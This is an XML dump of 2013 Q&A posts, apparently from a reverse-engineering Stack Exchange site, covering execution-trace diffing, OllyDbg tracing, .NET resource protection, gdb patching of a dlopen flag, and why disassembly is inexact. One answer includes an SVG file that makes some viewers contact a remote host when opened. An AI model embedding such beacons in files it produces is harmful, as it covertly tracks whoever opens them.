  <row Id="2563" PostTypeId="2" ParentId="2561" CreationDate="2013-07-31T11:20:13.347" Score="6" Body="&lt;p&gt;Any such functionality is dependent on the player or viewer used. I know of no image formats that require any kind of interaction from the viewer, but some video formats do (or, rather, did) use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to Quicktime mentioned by 0xea, the Windows Media/ASF format allows embedding of script commands, and one of them is opening an URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://support.microsoft.com/kb/828026&quot; rel=&quot;nofollow&quot;&gt;http://support.microsoft.com/kb/828026&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a content owner creates an audio or a video stream, that content&#xA;  owner can add script commands (such as URL script commands and custom&#xA;  script commands) that are embedded in the stream. When the stream is&#xA;  played back, the script commands can trigger events in an embedded&#xA;  player program, or they can start your Web browser and then connect to&#xA;  a particular Web page. This behavior is by design.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, this behavior:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;relies on the player supporting it (e.g. I don't think VLC or mplayer support it)&lt;/li&gt;&#xA;&lt;li&gt;can be disabled by the user&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, I would not rely on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking of images, I've just realized that SVG is using XML. XML files may contain references to extenal URLs, such as DTDs or schemas. Additionally, SVG itself supports referring to other elements in the same document or sometimes external ones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.w3.org/TR/SVG/struct.html#Head&quot; rel=&quot;nofollow&quot;&gt;http://www.w3.org/TR/SVG/struct.html#Head&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just tried it and opening the following SVG results in a fetch to the remote server in Opera, but not IE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; standalone=&quot;no&quot;?&amp;gt;&#xA;&amp;lt;!DOCTYPE svg PUBLIC &quot;-//W3C//DTD SVG 1.1//EN&quot; &quot;http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd&quot;&amp;gt;&#xA;&amp;lt;svg width=&quot;8cm&quot; height=&quot;3cm&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot;&amp;gt;&#xA;  &amp;lt;desc&amp;gt;Local URI references within ancestor's 'defs' element.&amp;lt;/desc&amp;gt;&#xA;  &amp;lt;defs&amp;gt;&#xA;    &amp;lt;linearGradient id=&quot;Gradient01&quot;&amp;gt;&#xA;      &amp;lt;stop offset=&quot;20%&quot; stop-color=&quot;#39F&quot; /&amp;gt;&#xA;    &amp;lt;/linearGradient&amp;gt;&#xA;  &amp;lt;/defs&amp;gt;&#xA;  &amp;lt;!-- reference to a local definition --&amp;gt;&#xA;  &amp;lt;rect x=&quot;1cm&quot; y=&quot;1cm&quot; width=&quot;6cm&quot; height=&quot;1cm&quot; &#xA;        fill=&quot;url(#Gradient01)&quot;  /&amp;gt;&#xA;&#xA;  &amp;lt;!-- this element triggers a fetch of the specified URL in Opera --&amp;gt;&#xA;  &amp;lt;rect x=&quot;1cm&quot; y=&quot;1cm&quot; width=&quot;6cm&quot; height=&quot;1cm&quot; &#xA;        fill=&quot;url(http://example.com/test1)&quot;  /&amp;gt;&#xA;&amp;lt;/svg&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, once again it's viewer-specific but you probably have more chance of this working.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2013-08-03T20:13:07.147" LastActivityDate="2013-08-03T20:13:07.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2564" PostTypeId="2" ParentId="2549" CreationDate="2013-08-01T13:49:34.053" Score="3" Body="&lt;p&gt;If you absolutely want pseudo-code and are out of luck with IDA Pro, you might want to give a try to demo version of &lt;a href=&quot;http://hopperapp.com/&quot; rel=&quot;nofollow&quot;&gt;hopper&lt;/a&gt; : it can generates pseudo-code for x86, x86-64, and ARM.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2013-08-01T13:49:34.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2565" PostTypeId="1" CreationDate="2013-08-01T17:41:25.393" Score="8" ViewCount="917" Body="&lt;p&gt;I'm working on an RE project and had an idea for a tool that would help me greatly and wanted to see if it already exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to find a specific part of code in the binary. Searching for strings, etc is not helping much. So, I had the thought, what if I could run the program twice, once I would have the program do the thing that corresponds to the code I'm looking for, and the second time I would not perform that action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had a trace of say basic blocks executed during both runs, I might be able to do a &quot;diff&quot; and use that to narrow down where the functionality lies in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does such a tool already exist, or is there a better way to narrow down the part of code executing.&lt;/p&gt;&#xA;" OwnerUserId="1854" LastEditorUserId="1485" LastEditDate="2013-08-05T13:22:29.997" LastActivityDate="2013-08-05T13:22:29.997" Title="Trace assisted code identification?" Tags="|tools|debugging|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2566" PostTypeId="2" ParentId="2560" CreationDate="2013-08-01T17:42:37.447" Score="2" Body="&lt;p&gt;The only real option you have here is to store the resources as encrypted data and decrypt them prior to loading in java. You could store the encrypted data as a byte array, and use some kind of xor encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is NOT secure, and you should NOT store any important keys, passwords, or credentials in any resource files.&lt;/p&gt;&#xA;" OwnerUserId="1548" LastActivityDate="2013-08-01T17:42:37.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2567" PostTypeId="2" ParentId="2565" CreationDate="2013-08-01T18:17:21.137" Score="9" Body="&lt;p&gt;This approach is commonly called &quot;differential debugging&quot;. I know of the following tools that can help with it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.openrce.org/downloads/details/208/PaiMei-Reverse-Engineering-Framework&quot;&gt;PaiMei&lt;/a&gt; from Pedram Amini&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/mynav/&quot;&gt;MyNav&lt;/a&gt; by Joxean Koret&lt;/li&gt;&#xA;&lt;li&gt;IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/tutorials/replayer/trace_replayer.pdf&quot;&gt;trace replayer&lt;/a&gt; allows diffing two execution traces (also implemented by Joxean)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.zynamics.com/2010/01/19/binnavi-3-0-preview-improved-differential-debugging/&quot;&gt;BinNavi&lt;/a&gt; has this feature&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dion.t-rexin.org/notes/2009/09/29/differential-reversing/&quot;&gt;simple differ&lt;/a&gt; by @dionthegod&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://brundlelab.wordpress.com/2012/08/19/small-and-cute-execution-tracer/&quot;&gt;a script&lt;/a&gt; from Carlos Garcia which uses WinAppDbg framework by Mario Vilas&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's not too hard to implement something quick in any debugger that allows scriptable breakpoints:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Put breakpoints on every function/basic block/instruction (depending on your preference and what the debugger allows). In the breakpoint handler, record the hit then disable/remove the breakpoint.&lt;/li&gt;&#xA;&lt;li&gt;Run the program and do everything you can &lt;em&gt;except&lt;/em&gt; for the part you're interested in.&lt;/li&gt;&#xA;&lt;li&gt;Exit the program.&lt;/li&gt;&#xA;&lt;li&gt;Change the breakpoint handler to stop execution, or record it in a separate log file.&lt;/li&gt;&#xA;&lt;li&gt;Run the program again and exercise the part you need. One or more of the remaining breakpoints should hit. They will point you to the interesting code.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2013-08-01T18:17:21.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2568" PostTypeId="2" ParentId="2565" CreationDate="2013-08-01T18:18:57.380" Score="3" Body="&lt;p&gt;you may check out an ollydbg plugin &lt;code&gt;conditional branch logger&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/Conditional_Branch_Logger&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/collaborative/tools/index.php/Conditional_Branch_Logger&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it parses the executable for conditional branches &lt;code&gt;(je , jne .... jecxz....loopd etc)&lt;/code&gt;&#xA;sets logging breakpoints on them and logs the results to a txt which can be used to diff the &#xA;diversion in paths between two different execution scenarios&lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-08-01T18:18:57.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2569" PostTypeId="2" ParentId="2560" CreationDate="2013-08-02T06:14:58.570" Score="7" Body="&lt;p&gt;The only real protection is to not deliver the resources!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you give the resources out of your hand they can be extracted. It may be difficult but it is possible to extract them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most secure way would be to store the resources on a server and access them in a remote way. But also then if the resource is on the client computer it is possible to extract them from memory.&lt;/p&gt;&#xA;" OwnerUserId="1490" LastActivityDate="2013-08-02T06:14:58.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2570" PostTypeId="1" CreationDate="2013-08-02T07:24:48.597" Score="7" ViewCount="7692" Body="&lt;p&gt;I am trying to find an encryption algorithm for a game client, but I need to find the actual register/stack in the client before I can decrypt/encrypt the packets correctly (on my emulated server side). The problem is that I have no idea how to find the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In OllyDbg, is there a way I can trace during my debugging in order to find the function right after user input? The user input is a string converted to a char array, which is then encrypted in the executable. In this case, it would mean sending a packet to the game client, and then the game client decrypts the packet.&lt;/p&gt;&#xA;" OwnerUserId="2558" LastEditorUserId="80" LastEditDate="2013-08-02T19:10:04.050" LastActivityDate="2014-04-09T11:23:52.627" Title="Tracing to a function during debugging?" Tags="|ollydbg|encryption|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2571" PostTypeId="2" ParentId="2570" CreationDate="2013-08-02T09:08:37.873" Score="1" Body="&lt;p&gt;Your question is too broad. &#xA;How is your user input taken? Try answering a few questions to narrow down the scope&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GetWindowText() &#xA;SendMessage(.....WM_GETTEXT...) LB_GETTEXT &#xA;RichEdit &#xA;WM_CHAR in a Loop &#xA;scanf in a console ??&#xA;sscanf from a stram ??&#xA;Directx SendInput ??&#xA;opengl ??&#xA;touch recognition?? biometrics??  smart-card ?? voice commands&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you narrow down to specifics you should next concentrate on narrowing down the message processing loop. Is it a classic while (TRUE) loop with switch cases for each message (Windows Message Pump) etc etc &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the scope is narrowed down to a manageable size, several options exist to trace them.&#xA;For example with: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windbg you can use ( &lt;code&gt;wt watch and trace when you are on a function prologue&lt;/code&gt; ) it will execute the function and provide you a list of subfunctions &lt;/li&gt;&#xA;&lt;li&gt;with ollydbg you can use &lt;code&gt;run trace feature or hit trace feature&lt;/code&gt;. Several plugins exist that enhance this feature &lt;/li&gt;&#xA;&lt;li&gt;for ida look for &lt;code&gt;Trace Replayer&lt;/code&gt; documentation &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope you are on windows. If you are on another OS then GDB also has certain tracing features available.&lt;/p&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="225" LastEditDate="2013-08-02T12:46:32.613" LastActivityDate="2013-08-02T12:46:32.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2572" PostTypeId="1" CreationDate="2013-08-02T11:33:48.490" Score="3" ViewCount="389" Body="&lt;p&gt;I am a Windows application developer, I'd build a few .NET applications and I can see It is &lt;strong&gt;very easy to crack&lt;/strong&gt; out resources of my Application even some simple applications like Resource Editor are able to crack my application by just deleting the Registration Dialog Box to make my application a freeware without having a proper license key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any &lt;code&gt;.EXE&lt;/code&gt; compressor or any other other tool which I can use to save my application resources &lt;strong&gt;as well as my scripts&lt;/strong&gt;, Can anyone suggest me How can I &lt;strong&gt;avoid Recompilation&lt;/strong&gt; of my script. Any help will be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2023" LastActivityDate="2013-08-03T12:17:49.077" Title="How to zip or compress resources of your .NET application" Tags="|decompilation|unpacking|compilers|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2573" PostTypeId="2" ParentId="2572" CreationDate="2013-08-02T12:30:22.237" Score="3" Body="&lt;p&gt;The idea of truly protecting resources is impossible -- every protection you implement can and will be broken. Assume this, and do not put credentials or private data in your resources/code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind resource encryption/compression is summarized well in &lt;a href=&quot;http://www.codeproject.com/Articles/19537/XResFile-Files-Stored-in-Resources-Part-3-Encrypte&quot; rel=&quot;nofollow&quot;&gt;this codeproject article&lt;/a&gt;, the same ideas apply to .NET. You use some encryption method, add the encrypted file to your project, load it via your code, and run your decryption/decompression algorithm on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically, though, it sounds like you're looking for a .NET obfuscator with compression features. I don't believe stackexchange is the place for product advertisement, so here is a good objective list: &lt;a href=&quot;http://en.wikipedia.org/wiki/List_of_obfuscators_for_.NET&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/List_of_obfuscators_for_.NET&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In regards to making cracking your application more difficult,&lt;/strong&gt; you should consider using asymmetric encryption &lt;a href=&quot;http://www.drdobbs.com/licensing-using-symmetric-and-asymmetric/184401687&quot; rel=&quot;nofollow&quot;&gt;as described here&lt;/a&gt; and license key files. Think of creative ways to perform license checks throughout your application. Using a keyfile you're preventing the possibility of anyone ever writing a keygen for your application, and adding a large number of checks for the license will make it arduous for anyone attempting to crack the application.&lt;/p&gt;&#xA;" OwnerUserId="1548" LastEditorUserId="1548" LastEditDate="2013-08-02T12:37:39.940" LastActivityDate="2013-08-02T12:37:39.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2574" PostTypeId="1" CreationDate="2013-08-03T07:29:04.483" Score="4" ViewCount="873" Body="&lt;p&gt;I want to alter a ELF executable function call and replace one of it's parameters.&#xA;The executable calls &lt;code&gt;dlopen()&lt;/code&gt; function and passes &lt;code&gt;RTLD_NOW&lt;/code&gt; as the flag parameter.&#xA;I want to change it to &lt;code&gt;RTLD_LAZY&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the easiest way to detect the exact place where this call is done, and replacing the parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to do it on production environment, so I only have GNU toolchain, gcc, gdb, etc.&lt;/p&gt;&#xA;" OwnerUserId="35" LastActivityDate="2013-08-04T19:26:02.403" Title="Changing parameter of function call in ELF executable" Tags="|linux|elf|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2575" PostTypeId="2" ParentId="2572" CreationDate="2013-08-03T10:25:46.727" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If your goal is to prevent someone tampering with your .NET application binaries, then .NET provides a solution: &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/wd40t7ad.aspx&quot; rel=&quot;nofollow&quot; title=&quot;MSDN article&quot;&gt;Sign (&quot;strong-name&quot;) your assemblies&lt;/a&gt;. This process makes use of asymmetric keys and checksums, the loader will notice any changes to the signed assemblies and refuse to load them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If your goal is to prevent people from decompiling (looking at) your code, you need a &lt;a href=&quot;http://en.wikipedia.org/wiki/Obfuscation_%28software%29&quot; rel=&quot;nofollow&quot; title=&quot;Wikipedia article&quot;&gt;code obfuscation&lt;/a&gt; tool.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2565" LastActivityDate="2013-08-03T10:25:46.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2576" PostTypeId="2" ParentId="2572" CreationDate="2013-08-03T12:17:49.077" Score="1" Body="&lt;p&gt;If you are looking for freeware tools to zip your resources and to keep your scripts secure, then I'll recommend you to use &lt;strong&gt;&lt;code&gt;Confuser&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a freeware application, even you can download its source code.&lt;/p&gt;&#xA;" OwnerUserId="2566" LastActivityDate="2013-08-03T12:17:49.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2579" PostTypeId="2" ParentId="2547" CreationDate="2013-08-03T17:42:08.933" Score="3" Body="&lt;p&gt;First off, I would suggest ensuring that the HOLD# pin is pulled high. If it is not, the chip is in a &amp;quot;paused&amp;quot; state and you won't be able to read from it.&lt;/p&gt;&#xA;&lt;p&gt;I've dumped several SPI chips while they were in circuit and the most common problem that I've run into is that the power rail that the chip is powered from on the PCB is probably powering other components as well. This poses two potential problems:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your power supply may not be capable of providing enough current to power everything on the power rail, and thus you aren't providing enough power to the SPI flash chip,&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;even if you can provide enough power, other parts of the circuit may be trying to communicate with the SPI chip too, which will obviously cause problems.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;My solution to this is to carefully desolder the power pin (pin 8) and bend it up so that it is not touching the solder pad. This way you can provide power to only the flash chip and not to the rest of the circuit.&lt;/p&gt;&#xA;&lt;p&gt;Finally, sometimes there are other components on the board that can interfere with communicating with the flash chip, so if you still have problems you should just desolder the whole chip. As @justsome mentioned, this is actually not difficult, especially for these IC packages.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="37138" LastEditDate="2021-10-29T07:32:32.790" LastActivityDate="2021-10-29T07:32:32.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2580" PostTypeId="1" CreationDate="2013-08-04T13:43:59.523" Score="32" ViewCount="4753" Body="&lt;p&gt;Newbie here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Disassembler&quot;&gt;From Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Disassembly is not an exact science: on CISC platforms with&#xA;  variable-width instructions, or in the presence of self-modifying&#xA;  code, it is possible for a single program to have two or more&#xA;  reasonable disassemblies. Determining which instructions would&#xA;  actually be encountered during a run of the program reduces to the&#xA;  proven-unsolvable halting problem. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Why is disassembly on CISC it not an exact science?&lt;/strong&gt;&#xA;I understand that reassembling disassembled code may produce different, but similar opcodes for the same instruction, but as they are similar, it should not affect the resulting program. And also, if it is not an exact science, i.e. assemble(disassemble(opcode)) != opcode, how can the CPU determine which way to interpret the stream of opcodes?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On a side note, does this imply that disassembly on a RISC platform an exact science?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2570" LastActivityDate="2017-06-21T07:45:23.847" Title="Why is disassembly not an exact science?" Tags="|disassembly|reassembly|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2581" PostTypeId="2" ParentId="2580" CreationDate="2013-08-04T13:52:53.557" Score="31" Body="&lt;p&gt;To answer the first question. The biggest problem is that you can't really separate data from code. There are basically two approaches to dissasembly:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Linear sweep&lt;/li&gt;&#xA;&lt;li&gt;Recursive traversal&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Dissasemblers using linear sweep start at some address and dissasemble instructions one by one until the end, without following jumps or reasoning about the dissasembled code in any way. For example SoftICE and Windbg use linear sweep. This can be a problem, because you don't know when to stop. You don't know where instructions end and where data starts. You have to rely on executable format metadata, like sections sizes, for that. That's what makes it problematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, recursive traversal algorithms take jumps and calls into consideration, and the dissasembler follows jumps, only dissasembling the code that will actually get executed. For example IDA and OllyDBG use this approach. It has the benefit that it essentially knows what's code and what's data. But it has it's drawbacks, obviously. First, by pure recursive traversal, not all code will be dissasembled. For example, functions that aren't directly referenced, called in runtime by calculating their address will not be spotted. Again, engines have some heuristics to bypass this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take, for example, a program that jumps back a few instructions, but instead of landing on the beginning of a previously dissasembled and executed instruction, it jumps in the middle of it. How should the dissasembler decide which one to show? Both might be valid, if that was the intention of the coder. The recursive traversal dissasembler will probably show the first dissasembled version, and just mark a jump to the middle of a function. But without you inspecting the bytes in details, it's hard to tell what will actually get executed after the jump. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many other examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another big problem with both of these approaches is self modifying code. It just can't be done statically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CPU its self doesn't have any of these problem as it's executing code, in other words, it's dynamic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the second question I don't think this is a problem with CISC architectures only, some of these can be applied to RISCs too.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-08-09T16:48:22.463" LastActivityDate="2013-08-09T16:48:22.463" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2582" PostTypeId="2" ParentId="2580" CreationDate="2013-08-04T14:02:27.040" Score="11" Body="&lt;p&gt;I think what the comment is meant to describe is the fact that on CISC, taking the x86 as an example here, there are several possible reasonable &lt;strong&gt;representations&lt;/strong&gt; of the disassembly. But I'd think this can also in part be said of typical RISC implementations, where - however - the assembler can offer something like a CISC-like mnemonic represented by a different combination of basic (RISC) opcodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the &lt;code&gt;rep&lt;/code&gt; prefix is meaningless on many opcodes and yet has been employed in the past to make it harder for reverse engineers. However, which is the better representation for a human who is ultimately looking at the disassembly? The one with the &lt;code&gt;rep&lt;/code&gt; prefix or the one without (which reflects more what the CPU does).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the disassembler stays true to what it finds, it should include the &lt;code&gt;rep&lt;/code&gt; prefix. On the other hand it's the job of the disassembler to make machine code readable for a human. So it makes perfect sense to go that extra mile and make sure that redundant prefixes are removed for brevity. Similarly multi-byte opcodes representing a &lt;code&gt;nop&lt;/code&gt; (no operation) could be stripped completely or represented in a way to stand out from the rest (e.g. as IDA does with alignment bytes) or each as &lt;code&gt;nop&lt;/code&gt; respectively (for the 1 and the 5 byte version alike).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So from my point of view disassembling machine code &lt;em&gt;is&lt;/em&gt; an exact science, since for every opcode there is an exact mnemonic (let's disregard the &lt;code&gt;jne&lt;/code&gt;/&lt;code&gt;jnz&lt;/code&gt; duality here). Otherwise, as you point out, how would the CPU go about and figure out what to do? However, in order to give a &lt;em&gt;representation&lt;/em&gt; to the human reverse engineer, it is sometimes (dare I say often?) post-processed for readability and comprehension. That's where disassemblers and disassemblies vary.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another problem is that in order to follow all possible code paths heuristics have to be used (and it's one of the distinguishing features of a &lt;em&gt;good&lt;/em&gt; disassembler). Otherwise it's hard to distinguish data from code. But to my knowledge &quot;CISC&quot; cannot be singled out for that trait, so I'd hold that this isn't the main reason for the comment.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-08-04T14:02:27.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2583" PostTypeId="2" ParentId="2580" CreationDate="2013-08-04T15:26:14.877" Score="16" Body="&lt;p&gt;In addition to the issues described in the previous answers, here's another way in which a program can have more than one disassembly.  Consider code that has the following logic (my apologies for the syntax-butchery):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&#xA;buf = ...&lt;i&gt;some string&lt;/i&gt;...&lt;br/&gt;&#xA;val = &lt;b&gt;read&lt;/b&gt;()&lt;br/&gt;&#xA;&lt;b&gt;if&lt;/b&gt; (val == 7) {&lt;br/&gt;&#xA;&amp;nbsp; &lt;b&gt;mprotect&lt;/b&gt;(buf, ..., PROT_EXEC); &amp;nbsp;&amp;nbsp; /* make buf executable */&lt;br/&gt;&#xA;&amp;nbsp; &lt;b&gt;goto&lt;/b&gt; buf; &amp;nbsp; &amp;nbsp; /* execute buf */&lt;br/&gt;&#xA;}&lt;br/&gt;&#xA;&lt;b&gt;else&lt;/b&gt; {&lt;br/&gt;&#xA;&amp;nbsp; &lt;b&gt;print&lt;/b&gt;(buf);&lt;br/&gt;&#xA;}&#xA;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this case, whether &lt;code&gt;buf&lt;/code&gt; is code (and therefore should be disassembled) or data (and therefore should not be disassembled) depends on the input.  Thus, the program has multiple possible disassemblies.  Note that this is because code is fundamentally indistinguishable from data and has nothing to do with RISC vs. CISC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a delightful discussion of how code can be disguised as plausible-looking data in this paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;J. Mason, S. Small, F. Monrose, G. MacManus. English Shellcode.  &lt;em&gt;Proceedings of the 16th ACM Conference on Computer and Communications Security&lt;/em&gt; (CCS), Chicago, IL. November 2009. &lt;a href=&quot;http://www.cs.jhu.edu/~sam/ccs243-mason.pdf&quot;&gt;[PDF]&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2013-08-04T15:26:14.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2584" PostTypeId="2" ParentId="2574" CreationDate="2013-08-04T16:07:35.897" Score="2" Body="&lt;p&gt;The easiest way to do this is with &lt;a href=&quot;/questions/tagged/gdb&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'gdb'&quot; rel=&quot;tag&quot;&gt;gdb&lt;/a&gt;. Put a breakpoint on the &lt;code&gt;dlopen&lt;/code&gt; function, and change the parameters (likely passed on the stack). &lt;code&gt;RTLD_NOW&lt;/code&gt; is defined as 2. Simply change it by 1 (&lt;code&gt;RTLD_LAZY&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sum up, in &lt;code&gt;gdb&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;breakpoint dlopen&#xA;run&#xA;set stack_memory_address = 1&#xA;continue&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;stack_memory_address&lt;/code&gt; is the address of your mode parameter.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="245" LastEditDate="2013-08-04T19:26:02.403" LastActivityDate="2013-08-04T19:26:02.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2585" PostTypeId="1" CreationDate="2013-08-04T20:38:10.013" Score="10" ViewCount="3723" Body="&lt;p&gt;I have a C++ header with interfaces (classes with all methods pure virtual).&#xA;I also have a binary which returns pointers to these interfaces.&#xA;I debugged while running and received the virtual table addresses for these interfaces' implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to tell IDA Pro that the vtable is at a certain address, and to give it the header files and to let it mark all the methods in the vtable and name them accordingly?&#xA;There are many interfaces and a lot of methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/87/static-analysis-of-c-binaries&quot;&gt;Static analysis of C++ binaries&lt;/a&gt;, but it doesn't answer the question of automatic naming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the freeware version 5.0.&lt;/p&gt;&#xA;" OwnerUserId="2579" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-08-31T01:27:25.530" Title="Filling C++ interface method names in the disassembly in IDA" Tags="|ida|c++|vtables|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
